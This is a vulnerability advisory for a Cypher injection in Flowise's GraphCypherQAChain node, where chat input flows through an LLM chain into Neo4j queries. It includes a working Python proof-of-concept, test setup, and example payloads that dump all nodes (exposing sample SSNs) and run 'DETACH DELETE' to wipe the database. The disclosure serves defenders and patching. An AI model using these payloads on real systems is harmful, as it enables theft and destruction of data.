PT-2026-35286 — Npm Flowise+1

PT-2026-35286 · Npm · Flowise+1

Published

2026-04-16

Updated

2026-04-16

CVSS v4.0

8.7

High

Vector

AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

Field	Value
Affected File	`packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts`
Affected Lines	193-219 (run method)

Prerequisites

To exploit this vulnerability, the following conditions must be met:

Neo4j Database: A Neo4j instance must be connected to the Flowise server
Vulnerable Chatflow Configuration:

A chatflow containing the Graph Cypher QA Chain node
Connected to a Chat Model (e.g., ChatOpenAI)
Connected to a Neo4j Graph node with valid credentials

API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

typescript

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
  const chain = nodeData.instance as GraphCypherQAChain
  // ...
  
  const obj = {
    query: input // User input passed directly
  }
  
  // ...
  response = await chain.invoke(obj, { callbacks }) // Executed without escaping
}

Impact

An attacker with access to a vulnerable chatflow can:

Data Exfiltration: Read all data from the Neo4j database including sensitive fields
Data Modification: Create, update, or delete nodes and relationships
Data Destruction: Execute DETACH DELETE to wipe entire database
Schema Discovery: Enumerate database structure, labels, and properties

Proof of Concept

poc.py

python

#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
 python poc.py --target http://localhost:3000 --flow-id <FLOW ID> --token <API KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post json(url, data, headers):
  req = urllib.request.Request(
    url,
    data=json.dumps(data).encode("utf-8"),
    headers={**headers, "Content-Type": "application/json"},
    method="POST",
  )
  with urllib.request.urlopen(req, timeout=15) as resp:
    return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
  ap = argparse.ArgumentParser()
  ap.add argument("--target", required=True, help="Base URL, e.g. http://host:3000")
  ap.add argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
  ap.add argument("--token", help="Bearer token / API key if required")
  ap.add argument(
    "--injection",
    default="MATCH (n) RETURN n",
    help="Cypher payload to inject",
  )
  args = ap.parse args()

  payload = {
    "question": args.injection,
    "overrideConfig": {},
  }

  headers = {}
  if args.token:
    headers["Authorization"] = f"Bearer {args.token}"

  url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow id}"

  try:
    status, body = post json(url, payload, headers)
    print(body if body else f"(empty response, HTTP {status})")
  except urllib.error.HTTPError as e:
    print(e.read().decode("utf-8", errors="replace"))
  except Exception as e:
    print(f"Error: {e}")

if  name  == " main ":
  main()

Test Environment Setup

1. Start Neo4j with Docker:

bash

docker run -d 
 --name neo4j-test 
 -p 7474:7474 
 -p 7687:7687 
 -e NEO4J AUTH=neo4j/testpassword123 
 neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):

cypher

CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)

3. Configure Flowise chatflow (see screenshot)

Exploitation Steps

bash

# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 
 --flow-id <FLOW ID> --token <API KEY> 
 --injection "MATCH (n) DETACH DELETE n"

Evidence

Cypher injection reaching Neo4j directly:

$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))
"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5"
        ^",...}

The error message comes from Neo4j, proving the injected Cypher is executed directly.

Data destruction confirmed:

$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}

Empty result indicates all nodes were deleted.

Sensitive data exfiltration:

$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-943

Related Identifiers

GHSA-28G4-38Q8-3CWC

Affected Products

Flowise

Flowise-Components